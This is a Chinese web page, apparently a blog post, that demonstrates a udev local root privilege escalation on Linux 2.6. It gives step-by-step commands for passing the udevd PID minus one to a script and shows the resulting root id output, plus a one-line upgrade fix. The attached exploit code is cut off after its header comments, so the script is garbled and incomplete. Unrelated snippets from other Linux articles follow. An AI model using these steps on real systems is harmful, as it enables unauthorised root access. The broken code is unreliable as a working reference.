Linux攻防之udev漏洞演示
此漏洞针对linux2.6内核，只要有普通用户权限，即可提升root权限，开始实验吧 1、复制以下代码，保存为udev.sh，并赋予可执行权限 2、#useradd test //新建一个普通用户 3、#su - test //切换至test用户 4、#ps -ef |grep udev //查看udev id root 474 1 0 Apr09 ? 00:00:00 /sbin/udevd -d 5、#sh udev.sh 473 //执行命令,udevd的id号减1，即473 6、sh-3.2# id uid=0(root) gid=0(root) groups=506(test) 此时test已经提升至root权限 如何修复漏洞，只要升级udev就行了 #yum update udev 附代码： #!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text :) # + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang cat > udev.c program.c suid.c
相关文档：
总览
用iptables -ADC 来指定链的规
则
，-A添加 -D删除 -C 修改
iptables - [RI] chain rule num rule-specification[option]
用iptables - RI 通过规则的顺序指定
iptables -D chain rule num[option]
删除指定规则
iptables -[LFZ] [chain][option]
用iptables -LFZ 链名 [选项]
iptables -[NX] chain
用 -NX ......
摘要:视频图像采集及处理技术在远程视频监控和可视电话中有着广泛的应用前景，驱动视频采集设备和获取视频数据并进行相应的处理，是实现这些应用的基础。针对这些应用，构建了一个基于嵌入式 Linux和 PXA270微处理器的视频采集与传输系统，利用 Video4Linux实现 USB摄像头视频数据采集，采集的视频数据经 JPEG压缩� ......
经过长时间学习linux库文件的概念，今天小编也给大家搜集了关于库的概念以及作用，希望大家看后会有很多收获。
1.什么是linux库
在windows平台和linux平台下都大量存在着库。本质上来说库是一种可执行代码的二进制形式，可以被操作系统载入内存执行。由于windows和linux的本质不同，因此二者库的二进制是不兼容的。本文仅 ......
今天用myeclipse,创建工程项目,然后准备敲代码,在写注释的时候,发现不能输入中文,刚开始觉得不能输入中文就算了吧,用英文写注释也可以的,但是这件事没有这么算了,我注释越写越多的时候,发现很多自己不会写的单词,需要一些时间才能想起来,这多么耽误时间啊!
......
折腾了一晚上，在Linux下终于把S3C2440开发板的LED灯给点亮了，兴奋不已，于是著文以记之。
程序是韦东山老师编著的《嵌入式Linux应用开发完全手册》，编译源文件照书上做就可以了，主要是在烧到开发板上出了问题
使用Jflash-s3c2440软件燒写程序的时候出现了如下的问题：
使用Jflash-s3c2440软件燒写程序的 ......
